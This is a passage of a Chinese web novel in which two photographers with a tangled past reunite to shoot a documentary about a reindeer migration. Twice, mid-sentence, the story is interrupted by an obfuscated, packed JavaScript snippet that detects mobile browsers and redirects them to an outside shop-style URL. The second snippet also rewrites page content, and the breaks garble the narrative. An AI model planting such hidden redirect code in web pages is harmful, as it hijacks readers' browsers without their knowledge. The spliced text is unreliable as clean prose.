采访结束了,阙与山背着包走出采访间,又一次立在玻璃前,视线漫无目的地扫视着秋城广播大楼外面的景色。 他想了想,摸出电话点开了联系人,熟练地找到许藏的号码后,以观众的口吻给他发了一条短信。 “我们都很喜欢许藏老师,希望下一站纪录片里还能看到您的身影。” 25. 能有什么坏心眼 一个月的时间,阙与山时不时地去往秋城电视台的会议室中,与纪录片制作团队开会商讨“驯鹿北迁”纪录片的相关拍摄细节。 最终基本确定了拍摄流程,先去苍城最北部的逐青林一带寻找驯鹿的冬季栖息地,拍摄几日后开始跟着驯鹿一起北迁,途中大约要穿越逐青林、河谷湖泊等过渡带,最后到达苔原带繁殖地。 纪录片的拍摄时长预计达到近两个月,大部分地带需要结合地貌自行驻扎,很少可以找到支撑歇脚换洗的当地居民区,直到最后的繁殖地才有稀少的人烟,能够借住在原住民家中。 然而,一直到即将开拍前,阙与山都没有再和制作团队提过征集副摄的事情。 更奇怪的是,负责人好像也默认了此行只有阙与山一个主摄,也没有提过给他安排副摄的事情,两边不谋而合地按下了副摄的相关话题。 二月底,纪录片拍摄提上日程,制作团队专门租了一辆越野车并雇了一个司机,将阙与山以及拍摄所需要的东西全部送到了苍城最北部逐青林外,并交换了电话号。 阙与山带着简单的东西,先与制作团队联系的向导,在逐青林外的小屋见了一面。 向导姓李,名叫李斐然,刚从大学毕业没多久,二十五六岁的样子,因为他的家乡就在此处,对于逐青林很熟悉,所以没毕业时就干起了向导工作,已经有了五六年的经验,是个非常熟练的老手。 李斐然虽然常年从事向导工作,露出来的皮肤经受紫外线的侵蚀变得黝黑,甚至还有不自然的冻红,但他看起来极其文质彬彬,个子也不算很高,很不像翻山越岭的练家子。 阙与山刚进屋的时候,甚至认错了向导,他以为在炉子前烤火的那位中年大叔才是此行的向导,结果大叔笑着指了指在屋内忙活的李斐然。 他的目光很快地从李斐然身上扫过,看到加厚的护膝和手上摸了药的裂口,点了点头。 大叔让阙与山先坐,说李斐然在厨房熬肉汤,一会儿就好。 里屋的李斐然听了这话,立马从厨房探出头说道:“阙老师,肉汤很快就好,麻烦您先坐一下,这汤是用逐青林特有的植物炖煮,能够解乏驱寒。” 阙与山想了想,觉得和向导见面的时间可能会很长,便站起身说道:“既然如此,我出去和司机说一声。” “您要走啊?”李斐然忙擦了手走出来,不好意思地说,“是不是我多此一举了?” 阙与山摇了摇头,解释道:“司机还在外面等我,让他也进来暖和一下。” 团队雇的司机姓刘,是一位憨厚朴实的中年大叔。 阙与山出门时,老刘正坐在越野车的驾驶位抽烟,一手接着电话,看到人出来后立马朝他招手:“与山,负责人的电话!” 阙与山怔了一下,下意识掏出电话,发现没漏接电话后觉得有点奇怪,疑惑地从老刘的手中接过电话放到耳边:“什么事?” “阙老师啊,没什么大事,就是一位纪录片的副摄到苍城了,我打给老刘,麻烦他去接一下。”负责人的话说得很快,声音也有点虚。 阙与山难得皱了皱眉,语气不太好:“什么副摄?我们之前有商讨过这件事吗?” “哎呀,阙老师,‘驯鹿北迁’的工作量确实很大,您不仅要拍驯鹿,也要出镜的,有一个副摄不仅可以帮忙背相机,还能帮您减轻拍摄和文案的工作量,作用很大的。” 负责人话音一转,先斩后奏道:“而且,人都已经到苍城车站了,总不能再把人打发回去,不太好。这样吧,阙老师,就让他先跟你一阵,如果驯鹿北迁时你还不满意,届时我们再商量哈! “我这边还有事就挂了,人在苍城汽车站,阙老师您别把他忘了!” 嘟嘟的声音从耳边传来,阙与山沉着脸将电话还给了老刘,接受了老刘的香烟分享,叼在嘴里借着他的打火机点燃,靠在驾驶座外抽烟。 他将烟捏下来,吐出了一口浊气,哑着嗓子说道:“老刘,你一会儿进屋先歇着,我去汽车站接人。” “不妨事,我去就行了,你明天就上山了,多歇歇。”老刘明显感觉到阙与山接了电话后心情变差了,想着可能他与负责人所说要接的人之间有龃龉,客气地说道。 阙与山又抽了一口烟,才徐徐地说道:“就是因为明天才上山,我才应该提前瞧一瞧这位被塞进来的副摄,互相熟悉一下好工作。” 老刘觉得他说得有理,便也不再推脱,抽完烟将烟头按进了一次性纸杯中,交流接下来的安排:“明天一早,我送你们到驯鹿冬季栖息地外。等你给我打电话时,再开车绕过逐青林,到它和河谷的交界处,将后备箱的东西给你,然后再去下一个点等你,对吧?” “嗯。”阙与山应和了一声后,快速地将烟抽完,顺路丢进了老刘递过来的纸杯,等他从驾驶座下来后,坐了进去合上车门,“屋里有向导煮的肉汤,我接了人马上回来。” 在老刘的声音响起后,阙与山转动钥匙启动了越野车,将车开向苍城汽车站。 大约半个小时后,阙与山将越野车停到了苍城汽车站门口。 这个时间段的人不算少,在人来人往的浪潮中,阙与山几乎一眼就锁定到了一个身影。 那人背着包站在背风的拐角处,穿着厚重的冲锋衣微微后靠在干净的墙上,指间夹着一根火光明灭的烟。 吞云吐雾的间隙,他的目光漫无目的地在往来车辆中逡巡,很快落在了阙与山开着的这辆越野车上。 他似乎歪着头确定了一下车牌照,才不紧不慢地走了过来,专门绕到驾驶位外,空闲的手曲起指节敲了敲。 越野车昏暗,外面的人看不见驾驶位的人,但车内阙与山却能很清晰地看到走过来的那人。 那个被负责人强塞进来、临到头才告诉他的副摄,也是他拍摄赤霜河纪录片的副摄,许藏。 阙与山的视线几乎一瞬都不挪开,借着玻璃的遮挡直勾勾地侵略许藏,恨不得如有实质地在许藏身上留下自己的痕迹。 没有得到“司机”的回应,车窗又被敲了敲。 阙与山克制地收回了目光,慢慢地将车窗摇了下去,没什么语气地问道:“怎么是你?” 许藏没想到来接自己的居然是阙与山,愣了一下,突然被指间燃落的烟灰烫了一下。 他很轻地“嘶”了一声,将指节上的烟灰扫落,抬眸盯着阙与山,问了一句:“车内能抽烟吗?” “不能。”阙与山正视前方,催促道,“灭了烟再上来。” 许藏很轻地扬了一下眉,因为他明确地看到副驾驶那里放着烟盒和打火机。 不过他没有揭穿阙与山随口编造的、显而易见的谎言,将烟掐了后扔进了垃圾桶,随后才绕到副驾驶的位置,开了门坐进去。 阙与山没有发动越野车,而是伸手越过驾驶位之间的分界线,掌心向上摊在许藏的面前,目光却没有挪动丝毫,语气淡淡地讨要:“我的打火机。” 许藏反应了一下,才意识到他说的打火机,是玉琼雪林那晚被他顺走的那个铁质打火机。 对于阙与山的念念不忘,许藏只是笑了一下,扯谎道:“不好意思,忘带了。” “那你的烟?”阙与山收回了手,转动钥匙启动车子。 许藏想了想,继续胡编:“等车太冷了,路边随便找了个人,借的火。” 阙与山没说话,在路上行了十几分钟还是耿耿于怀,突然开口,又一次问道:“你怎么来了?不是有事来不了吗?” “不是你说,要和我老死不相往来吗?”许藏透过后视镜看到阙与山的脸色一僵,继而说道,“双人采访后,负责人委婉地向我表达了,你不想让我当副摄的事情,我只能退而求其次推脱有事。” 阙与山闻言蹙了蹙眉头,疑惑地问道:“我什么时候说过,不需要你当副摄了?” 双人采访那天结束,负责人是拉着他进会议室询问下一站纪录片的规划,他当时一直在想越之垠的事情,没有听到她的话,只是让她全权负责。 难道那时的神情沉重,让负责人误解成,他不想再和许藏合作吗? 阙与山想了想,只能再次解释道:“可能是负责人误解了,我没有说过要撤掉你,也没说过要换你。” 甚至除了许藏之外,他不需要其他人来弥补副摄这一位置。 “我知道了。”许藏若无其事地点了点头。 阙与山等了半天没有下文,只好追着问:“那你这次来是因为什么?” 许藏回想了一下,阙与山上次参加电视台采访主动透露《可怜星俱灭》拍摄细节的当晚,他还没有上工前,有个赤霜河纪录片的粉丝同事激动地跑到他面前,绘声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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直到越野车再次听到了屋子前,阙与山还是没有过去短信那道坎,不解地问:“他说喜欢,你就来了?你就不怀疑,给你发消息的观众,不怀好意、图谋不轨?” 知道真相的许藏眨了眨眼,不知是不是他多想,总觉得仿佛从阙与山的话中听出了一股酸味儿。 许藏想了想,装作没听出来阙与山话中意思,恶劣地逗他道:“他只是想在纪录片上再看到我,能有什么坏心眼?” 阙与山的话一下子就被堵在了嗓子眼,他的眼睛微微睁大,似乎没有想到许藏居然这么好骗,莫名的情绪在胸口翻涌。 他平复了几下心情,还是无用,脸色微沉,粗暴地扯开驾驶座的车门,迈出去后甩上车门,头也不回地进屋了。 许藏推开门进屋时,正看到一个身材稍微矮小的男生凑在阙与山面前问他喝不喝肉汤,一双眼睛亮亮地,声音也相对稚嫩。 “谢谢。”阙与山道谢后坐到了桌子前,环视了一圈,问道:“老刘去哪了?” 李斐然进了厨房,听到了他的话,提高音量说道:“跟我叔一起,出门了。” 李斐然从厨房端着肉汤出来时,好似才发现新进来的人,将碗放到阙与山面前的桌子上后,疑惑地问道:“你是?” “纪录片副摄,许藏。”许藏不用人招呼,自顾自地坐到了阙与山的旁边。 李斐然恍然大悟,点了点头后道:“原来你就是老刘所说的那位,后来的副摄啊。” 李斐然好像还想说什么,阙与山猛地将那碗肉汤端起来,放到了许藏的面前,碗底在木桌上砸出声响,肉汤摇摇晃晃但没有掉出来。 他的语气不容置疑,还掺杂着没由来的火气:“你不是等车冷吗?” 许藏缓慢地眨了一下眼睛,将碗端起来,顺着边抿了一口。 阙与山余光瞥见他喝了之后,才抬眸看向对面的李斐然,问道:“老刘还跟你说了什么?” 李斐然被他直言直语问得有点尴尬,但阙与山的目光太过冷静,仿佛看透了一切,他只能硬着头皮说道:“他说,你接了那通电话后心情很差……很可能是你们两个关系不太好……” “是不太好。” 阙与山的脑子里还想着,一条突如其来的陌生短信,就让许藏甘之如饴的破事,心情很难好起来。 他的语气沉了下去,直接挑明:“我们是仇人。” 26. 心跳漏拍 “仇人”的关系一说出来,屋子里谁也没有说话。 许藏默默地溜着碗边喝汤,李斐然眼睛亮了亮,目光在对面两人身上逡巡后,又转身回厨房端了一碗汤放到了阙与山的面前,笑着往他的方向推了推。 阙与山没有推辞,客气地道谢后喝了几口,径直开口和李斐然商讨关于“驯鹿北迁”纪录片的拍摄行程。 谈到工作,李斐然正经了起来,听了完整的计划后提出了几点关于拍摄时间的问题,与他们交流后决定视情况而定。 最后,李斐然神情严肃地说道:“逐青林的雪昨日刚停,以上一年的情况结合近几日而看,积雪大概会于三月中旬消融。融雪提前,驯鹿北迁开始的日子也在三月中旬左右。它们穿过逐青林到达下一站,沉霭河谷,将会花费半个月至一个月的时间。 “四月上中旬是沉霭河谷的雨季末期,而驯鹿北迁因为时间提前,整个过程中最危险的地方就是沉霭河谷。若是降雨量不大还好,一旦降雨量超过一定数值,将会造成河谷塌陷、泥石流等各种情况。 “这不仅对于驯鹿来说是一道坎,我们也要重视沉霭河谷拍摄时期的安全,及时拔帐迁移。” 关于纪录片相关的问题商讨过后,许藏已经记下了几页纸,他收起本子,将笔卡在上面。 恰在此时,老刘推门进来,说今晚入住的地方已经安排好了,只需要将各自的行李拎进屋子就行了。 阙与山率先站起来,和老刘一起出了门,他再次和老刘确认了明早出发的时间,从副驾驶上取下许藏的背包挎在身上,又将自己的行李拽了下来,立在一旁。 许藏从屋子里出来,裹紧了围巾后,站到阙与山旁边,自然地从他的肩膀上扒下了自己的包拎着。 驾驶座的老刘看到这一幕后,下意识地转向阙与山的脸上,见他没有任何不适后,觉得自己好像误会了什么,尴尬地摸了摸鼻子,说道:“我先将车开走,向导的叔邀请我们晚上去他家吃饭,你们放完东西随便转转,记得来哈!” 越野车被启动,灯光照亮前面,很快便消失在视野中。 阙与山拖着行李走在前面,带着许藏朝老刘指的方向而去。 项目组联系的是一对夫妻,他们家恰好有三间空房,能住下主副摄影和司机。他们热情地将阙与山和许藏迎了进来,选了两间相邻的屋子,让他们进去放行李。 阙与山进了房间后,反手将门带上了,把行李箱随意地支在空地上,摊开来。 几件换洗衣服占据了半边箱子,在它们造成的拥挤的角落里,藏着一个方形的盒子。他的目光在其上停留了一下,略过其他必须品,先将那个盒子拿了出来。 盒子被打开,露出里面躺在软布中的果木壳耳坠。 自阙与山单方面和许藏闹掰后,果木壳就再也没挂在他的左耳上,也很少陪伴在他的身侧,不是扔在家里就是压在箱底。 出发来逐青林之前,阙与山犹豫很久还是将桌子上显眼的盒子带上了,没想到还能再次遇到许藏。 阙与山的手指捏住果木壳,限制它的碰撞,没让它发出声音,就这么放在眼前看了一会儿。 房门突然被敲响,外面传来许藏的声音:“阙与山,向导说逐青林雪后的满月很好看,要一起去吗?” 阙与山将果木壳顺手塞进了口袋,起身开了门,微微垂眸看向面前的许藏,沉默了几秒后说:“好。” 他回屋取了相机递给许藏,又将镜头、伸缩三脚架和云台等东西塞进包里,准备齐全后,在那对夫妻的指引下,和许藏一起慢慢地绕上了逐青林的最高处。 雪后的天空干净澄澈,漫天的星辰在夜晚渲染自然的光辉,它们围绕着那轮明亮的满月,像是无声的守护者。 从逐青林最高处往下望,能看到山脚下一片居民区的柔和灯光,在寂静的山林中遥遥地与天上的星星相应和。袅袅炊烟直上,好像大地呼出的哈气,在寒冷的天气中坚守。 阙与山透过镜头拍摄下这一幕时,觉得也许这就是摄影的意义,不必追溯本源,远离尘世喧嚣,静听自然之音,发现美记录美。 侧后方的许藏好像站累了,举着相机坐到了防潮垫铺着的一块石头上,突然开口说道:“阙与山,你觉得这里和雪村像吗?” 阙与山闻言一顿,摆弄相机的手僵了几秒,自顾自地收在了身侧。 他下意识地想将手指伸进口袋里去揉捏那串果木壳,刚碰上它时又想到会有声音发出,焦躁地搓指节,最后摸了一根烟出来叼着,牙齿在烟蒂上轻咬来缓解情绪。 太像了,也是雪停,也是最高的山头,也是这样寒冷的星夜。 此时此刻和十四年前许藏走的前一晚,他带着许藏上山看星星的景象简直一模一样,甚至逐青林的位置,距离雪村并不遥远。 黑夜模糊了视线,也模糊了阙与山对于现实和记忆的边界。 十四年前,雪村连月的雪终于停了,云开雾散后的星辰,致使阙与山拉着许藏翻窗走小路上了山,最后坐在了最高处的一块石头上,两个人离得很近。 万籁俱寂,半夜的雪村一点灯光都没有,完全将世界还给了自然。 在和许藏一起看向漫天星辰的那一刻,阙与山甚至好像听到了云散的声音,细弱又呼啸,像是表演台上的缓缓扯开的幕布,成为星星的陪衬。 阙与山那双灰蓝色的眸子不停地盯着最亮的星星,脑子里想得却是许藏。 降雪是许藏的幕布,雪停后,许藏将要走上属于他的未来。 阙与山想,自己应当做云,悄无声息地散开,让出许藏前行的路。 他当然知道,散到看不见、抓不到的云很难再聚拢,很难再在如此夜晚,挡住星星的路,也许今晚将是他的最后时刻。 阙与山想单方面地给自己一个理由,一个挽留无用、再也不见的理由。 所以,他难得地主动示弱,哑着嗓子撒着谎:“好冷啊,许藏,我可以抱抱你吗?” 许藏应该是没有料到,一个在偏僻山村野混的脏小孩,会提出这样无理的要求。 他漆黑的眸子怔了一会儿,在星辰月光的照耀下,难得地亮了亮,特别宽容地朝阙与山展开了两只胳膊。 阙与山应该庆幸,自己在坐到石头上之前,就算好了要这么做,狡猾地坐到了许藏的左边。所以,此时此刻才能有一个完美的契机。 他垂着脑袋从许藏的胳膊下面绕过,耳朵恰好能轻轻地贴在许藏的心口,双手虚虚地环着许藏的腰。 许藏像是没有想到,他会如此嚣张,毫不客气地挤入自己的怀中。 两条展开的胳膊僵在半空中,似乎在考虑如何在脏兮兮的阙与山身上放着。 好像过了很久,许藏好似才找准一处干净的落手之地,缓缓地交合自己的胳膊,放在了阙与山的背上。 许藏的声音从脑袋上方闷闷地传来:“听到了吗?” 阙与山一瞬间就知道许藏在问什么,因为他恬不知耻地贴着许藏的心口、想听到许藏的心跳,所以许藏是在问心跳。 可是,阙与山甚至能听到云散的声音,却听不到许藏的心跳。 他明明知道,许藏的心跳并不会因自己而加速,却依然厚颜无耻地贴上来自取其辱,再以这样一个真真假假的事实,当作云与星的告别。 阙与山连欺骗许藏都显得艰难,粘连的嗓子撕扯却依然撒不出谎,最后只能强行克制住翻涌的酸涩,往许藏身上很薄的棉服中埋了埋脑袋,尽量平淡地如实回答:“没有。” 任谁将脑袋埋得如此深、耳朵贴得如此近,都不会听不到对方的心跳。 许藏没有再说话,因为他好像意识到了阙与山的不诚实,并决定给阙与山一个不能宣之于口的惩罚——他先是在睡觉前甩下明天看日出的承诺,在第二天不告而别。 于是,第二天一早,年少无知的阙与山再也没有见到许藏,此后也注定不会为其他星星停留。 多年来,阙与山会做各种各样在许藏不告而别的当天,不管不顾追逐他的梦。 然而,与时常做的梦不同,现实里的十四年前,阙与山发现许藏离开时很平静,好像早有预料。 阙与山找寻了一圈,没有发现许藏留下的任何痕迹后,独自翻过那扇承载了他们两个之间很多记忆的破窗。 他沿着昨晚和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233896|197646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许藏上山看星星的路,坐到了昨晚和许藏并肩的石头上,却没能和许藏一起看日出。 事实上,自阙与山有记忆以来,雪村不是在降雪就是在降雪的路上,很少有云开雾散见到太阳的时候,日出更是屈指可数。 昨晚看到那样亮的星星,阙与山知道罕见的日出将会在今日一早显现,但是他没听到许藏的心跳,也没敢约他看日出。 睡觉前听到许藏说看日出时,阙与山一直以为那是自己强烈的心愿编出的幻觉,但也会忍不住地妄想若是能和许藏一起,在不同的地方共享日出也是很棒的一件事。 借着这一分幻想,他坐在石头上看了日出,看了一整天的太阳,最后看了日落。 直到最后,阙与山也没品出,被人们念叨的日出到底美在哪里。 他想,书上所记载的日出,也不过如此,如雪般寡淡无味。 “阙与山,你觉得这里和雪村像吗?” 许是阙与山沉默了太久,许藏等不及了,所以又问了一遍。 许藏的声音,以及逐青林下温馨的灯火,将阙与山从单调的回忆中拉了出来。 感谢冰冷的记忆碎片,他的焦躁缓解了不少,伸手将口中的那根未点燃的烟取下来,指腹无意识地摩梭上面被咬出来的凹陷,声音很沉,蕴藏着说不出的怨怼。 “一点也不像,雪村只会走向荒芜。” 许藏闻言,若有所思地点了点头,同意道:“若是你生活在逐青林就好了。” “有什么区别?”阙与山无所谓地说着。 若是他生活在逐青林,许藏六年前回国时,不会只见一片荒芜,他会精准地走到阙与山家门口,敲门找到他。 若是他生活在逐青林,阙与山不需要年复一年地看见消不尽的雪、晴不了的天,不会日日出去时被冻得皮肤通红,不会身边只有狼这一种动物相伴。 许藏想了想,简单地回复道:“驯鹿注定北迁,所以逐青林的雪会融。” 这是一个伪命题,明明是逐青林的雪会融,驯鹿才会北迁。 但从许藏的口中说出来,阙与山又觉得好像也是对的,驯鹿选择逐青林,逐青林的雪才会融。 可是,若是他生活在逐青林,十四年前他就不会在暗无天日的境况下遇到许藏,他不会走出去,这辈子都会消磨在这里。 若是他生活在逐青林,就算许藏会来,及时停下的雪也留不住他启程的步伐,他不会有一个多月的时间和许藏交流,不会为仅仅见了几面的陌生人而停留。 阙与山浅哼了一声,淡淡地道:“还不如雪村呢。” 许藏突然站起身,走到了阙与山的身边,从他的手中又一次抢走了一根烟,叼在自己的嘴里。 “没有打火……” 阙与山的话还没说完,就见许藏自然地从口袋里摸出了一个铁质的打火机,还是在雪林上从自己手中收缴的那个。 他意识到自己又被许藏骗了,额角的青筋跳了几下,语气不善:“你不是说忘带了吗?” 许藏的手指轻巧地挑开盖子,滑了一下,一手挡风一手将火焰对准烟头,等点燃后甩了甩手盖上了打火机。 他的两根手指夹着烟,抽了一口,缓缓地吐出烟圈后,手指带起燃着的烟,顺着烟圈的痕迹画圈。等烟圈散开后,他的目光落在了阙与山灰蓝色的眼睛上,举起手晃了晃掌心的打火机。 “就是不想给你。” 许藏很恶劣,阙与山一直都知道。 就像是当年他在许藏怀里时那样,许藏明知道自己的心跳平静、不会加速,却依然问他听到了吗。 阙与山不由得心脏紧缩,直直盯着许藏:“许藏,你除了骗我,还会什么?” 许藏指间的烟被他转了一下,换了个方向,烟蒂朝外。 他目不转睛与阙与山对视,丝毫没有被他色厉内荏的样子给逼退,反而往阙与山的方向一步步走近,近到两人的呼吸开始纠缠。 许藏蓦地勾起嘴角,将烟蒂举起来往前送,不由分说地撬开阙与山的唇齿,塞了进去。 他满意地松开夹着烟的手,侧过脸,在阙与山的耳侧吐息:“还会邀请你。” 27. 酒后吐谎言 邀请他什么,许藏没说。 总不能是仇人之间邀请决斗……也不是没可能,但哪有给仇人塞烟的。 阙与山思来想去,觉得许藏可能只是想用请他抽烟,来揭过两人间尴尬的氛围。 两个人在逐青林的山顶拍了一会儿,就收拾东西下了山,将东西放到借住的房间后,一起到了李斐然的家。 客厅的桌子被撤下,拎上来一个炉子,上面支着网,周围摆了一圈凳子,窗户稍微开了一条缝通风。 老刘和李叔挨着坐,面前温着一壶酒,正聊着天碰杯。 阙与山率先走了进去,在那一圈座位上扫了一眼,无视李斐然的招呼,径直走到了老刘的旁边坐下,将最后一个空位留给了许藏。 许藏慢了一步,看到阙与山的选择以及李斐然暗下去的神色,轻轻地挑了一下眉,从善如流地坐了下来。 老刘刚刚听李斐然说,因为自己片面的误解,导致许藏可能不太舒服。 他挽救般将酒倒入阙与山和许藏的杯子,举起自己的酒杯,带着歉意地看向许藏:“不好意思,私自揣测你和与山的关系,这一杯我敬你,赤霜河的纪录片我也看过,你的专业水平毋庸置疑。此次和与山一起拍摄驯鹿北迁,不辞辛苦可敬,我干了,你随意!” 老刘是个性情中人,说完也不等许藏,直接将酒一口干了。他将杯子反过来,没有一滴划下来。 “谬赞了,此番出行,有劳您了。”许藏也不遑多让,爽快地喝完了酒。 李叔敏锐地察觉到了异于常态的氛围,将他们两个的酒杯斟满,笑着说道:“不知道的,还以为我们在搞结拜,快吃菜吧,尝尝斐然的手艺。 “他常常奔走,各处学了不少当地的做法,听说你们要来,激动地从早干到晚。” 李斐然听到这话,在炉火的映衬下,常年被冻着的脸庞更红了几分,他好似有点羞赧,摆了摆手:“没有没有,是叔叔夸大了。” 在他说话的时候,许藏很快地捕捉到李斐然的目光有一瞬瞥向了阙与山,又迅速地收了回去。 许藏眨了眨眼,顺手给阙与山夹了一片肉,语调微微扬了一下:“尝尝,人家的心意。” “心意”这两个字被咬得很重,语气很怪,阙与山听到了,下意识觉得许藏在吃醋。 可他侧过头看了一眼许藏,表情带笑,没有分毫这个意思。 阙与山抓起筷子顺从地吃掉肉,客气疏离地道:“谢谢招待,破费了,很好吃。” 李斐然到底初出茅庐,表情很容易被捕捉,他的眉眼垂了垂,像是不太高兴。 他旁边的李叔调和道:“好吃就行,大家都吃,多吃点,不够厨房还有。” 动了几筷子后,几个人就开始畅谈。李叔先开始,看向许藏,挑起了个话题:“小许,你怎么没有跟与山和老刘一起来?” 在场五个人,只有许藏和阙与山知道主副摄的内情,许藏也没有想要分享的意思,随便扯了个谎道:“东西比较多,家离车站更近,就一个人后来了。” 李叔点了点头,话音一转道:“我之前听斐然说,纪录片只有与山一个人,我当时还寻思,他独自拍摄得有多累。 “听老刘说,你们之前合作拍摄的赤霜河很火,想必观众也很喜欢小许的加入,这样一来必然能帮助与山更好地完成纪录片的工作。” 这话听得阙与山直皱眉头,虽然他对许藏因一条“观众”短信就奔赴纪录片拍摄耿耿于怀,但他来或是不来,都只能由许藏自己决定。 他都无权干预,更何况观众的呼声。李叔这话好像在暗指,许藏是被热度硬塞进来一样。 阙与山不喜欢别人这样误解许藏,哪怕只是不了解情况。 他蹙着眉头,语气难得沉了下来:“纪录片拍摄从一开始,就是我单方面邀请许藏。赤霜河有没有火,都不影响他的参与。更不存在,他是因为热度而来……” “我确实不只是为了一位特殊‘观众’的短信而来。”许藏开口打断他,但这话明显是单对阙与山说的,单哄他一个人的。 阙与山愣了一下,扭过头盯着许藏,眸色灰沉。 许藏继续说,语气颇有调侃的意味:“怕某人又因没听到习惯的主播声音,突然罢工耽误拍摄。 “所以我来了。” 从许藏开口时,其余人便只剩下一头雾水,听不懂他在打什么谜语。 而谜底只有阙与山一个人知道,那就是,许藏听了自己的采访,且知道两年多前拍摄《可怜星俱灭》时,是因为许藏突然调岗耽误的。 许藏知道了,知道了他藏起来的秘密,知道了他主动公之于众、线索仅许藏可见的秘密。 所以,许藏来了。 可是,事实真如许藏所说的那样,许藏是为了他而来吗,阙与山不敢信。 他上一次在玉琼雪林就是如此,被许藏一步步骗到,最后空落个寂寥下场。 更何况,许藏已经深深地抓住了他的小尾巴,几乎明确地知道了他的情感。 然而,许藏却没有任何表示。 阙与山垂下了视线,手中的筷子无意识地在那块肉上捣着,另一只手不断地给自己倒酒喂酒。 围炉煮酒,本是敞开心扉聊天的好时候,此刻却陡然寂静下来。 李叔举起酒杯,赔罪般朝许藏的方向一递:“我的问题,自罚一杯。” 李叔和老刘又依据逐青林聊了起来,扯了一圈又扯回到拍摄上:“说到与山,他三年前那副《破金》获奖时,可是惊艳了我很久。我家斐然看到之后,手舞足蹈得跟什么似的,天天自称与山的粉丝,见人就宣传与山的作品多么多么棒,还在与山作品的影响下,去做了向导。 “这次接到秋城电视台的邀请,听说要和与山合作,可把他高兴坏了,好几天睡不着觉。” “哦?是吗?”许藏扯起一抹笑,将酒杯举起来,“那可巧了,我也是阙老师的粉丝,喜欢他很多年了。” 闻言,阙与山喝酒的手一顿,后知后觉地意识到,自己竟然从许藏的口中听到了“喜欢”二字。 他等了很多年,盼了很多年,也梦了很多年的话,竟然是从许藏和别人的交谈中听到的。 阙与山莫名感觉心脏被揪了一下,很愤怒,很难受,也很委屈。 李斐然听到许藏的话,眼睛亮了亮,将自己的酒杯和他碰了一下,抿了一口说道:“其实我见到阙老师的《破金》时,它还并没有获奖。我很荣幸地在某一本杂志上翻到了它,一下子就被吸引到了,并尽可能地了解了阙老师的其他作品。 “所以,我应该算是阙老师的老粉了。我还曾给阙老师寄过手写信,不知阙老师还记得我吗?” 阙与山突然被提到时,还沉浸在“喜欢”两个字中,他实在记不起李斐然这号人物,但也客气地说道:“每封信我都会仔细看,谢谢你的喜欢。” 李斐然明白了他的话中意思,眸子暗了几分,但又忍不住地分享:“我最喜欢阙老师的《可怜星俱灭》,它不止是一副静态作品,更是一种慰藉。最亮的星即使短时间暗淡,也终会有再亮的时候。” “并非如此。”阙与山摇了摇头,他感觉那些烧酒都在此刻涌了上来,让他的神思不太清醒。 他破天荒地将在采访时隐匿的真相,短而快地说出口:“它并没有任何意义,仅仅代表,我当时的心情。 “讨厌那颗暗淡的星竟被一堆小星压下去。” 李斐然没想到阙与山会亲自打破那些被外人赋予《可怜星俱灭》的情感,他没想到被粉丝称为精神慰藉的作品,竟然真的如此简单。 他愣了好久,像是不敢置信,半晌才喃喃说道:“可是,阙老师您不是很早就去蹲那颗星了吗?既然讨厌暗淡的星,为什么不在最亮的时候拍?” “这个问题,我在驯鹿纪录片的启动采访上回答过了。” 没吃多少饭,胃中的热酒在此刻翻涌,阙与山皱了皱眉才将它们压下,再次解释道:“错过最佳拍摄时间,只是因为我找不到一个习惯听的电台节目,为了找到那个主播,我只能再等四个月。” “拍的时候,带上了点个人情绪。群星如数不尽的电台频道一样,我讨厌全国竟有那么多的广播电台,讨厌找不到被藏起来的主播。” 李斐然傻在了原地,他的手指卷上有些烫的酒杯,不知该作何回应。 他好像真的没想过,自己追了那么久的摄影师,那副最火的作品、广受好评的作品,居然在拍摄时如此乌龙。 他以为摄影师都该准备充分,怀揣着各种各样的情绪带入作品,以为摄影师都该无比热爱自然,躯体里容纳一个炽热的灵魂。 可是,无人规定,摄影应该怎么样。 李斐然渐渐缓过来后,突然意识到,许藏刚刚所说的那些话也涉及了电台主播。 他将两个人的话联系起来细想,福至心灵般反应过来,阙与山所说的那个让他好找的主播,大概率就是许藏。 再结合两个人来此之后的互动,李斐然好像一下子明白了什么,脸色白了几分。 可是许藏与阙与山的相处方式又很怪,明明从话语动作中能看出一些端倪,但又不那么地坦白,甚至阙与山还会说出“仇人”这样的字眼,实在奇怪。 李斐然的脑子有点懵,转了几圈也没理明白。 饭吃到最后,老刘和李叔醉醺醺地起身准备回去,李斐然跟着站起来,目光先在坐着的许藏和阙与山身上扫了几眼,然后去搀扶李叔往外走。 不知他怎么想的,也许是喝醉了,边搀着李叔摇摇晃晃往外走,边一步三回头。 这点酒不足以让许藏不清醒,他目光清明,很快地发现了李斐然的动作,借着凑近阙与山的动作,果断地隔断了他的视线。 看着满脸红云、眼神迷离的阙与山,许藏顾不上什么李斐然,此时此刻有更重要的事情要问他。 他伸手环过阙与山的脖子,将他拉得离自己更近,呼吸交缠之间,许藏直直地盯着他含着水光的灰蓝色眼眸,语气不善:“明明收到了我的信,为什么不回?” 许藏在信中写了小狗信箱,也在阙与山家门前看到了小狗信箱,所以他这么认为。 而此时的阙与山,因为离许藏极近,甚至鼻尖都要碰到一起,他喝蒙的脑子本就转得慢,现在直接宕机了。 他用灼热的视线一遍遍地扫着许藏的脸,从眼睛到鼻子再到嘴巴,呆呆地问:“什么信?” 许藏要被他这个回答气笑了,放在他下颌的手指直接掐了上去,留下了几个指印。 “那小狗信箱是怎么回事?” 被阙与山从玉琼雪林赶下来后,许藏凭着当时在阙与山家的记忆,联系到了给他寄信的那位陈哥。 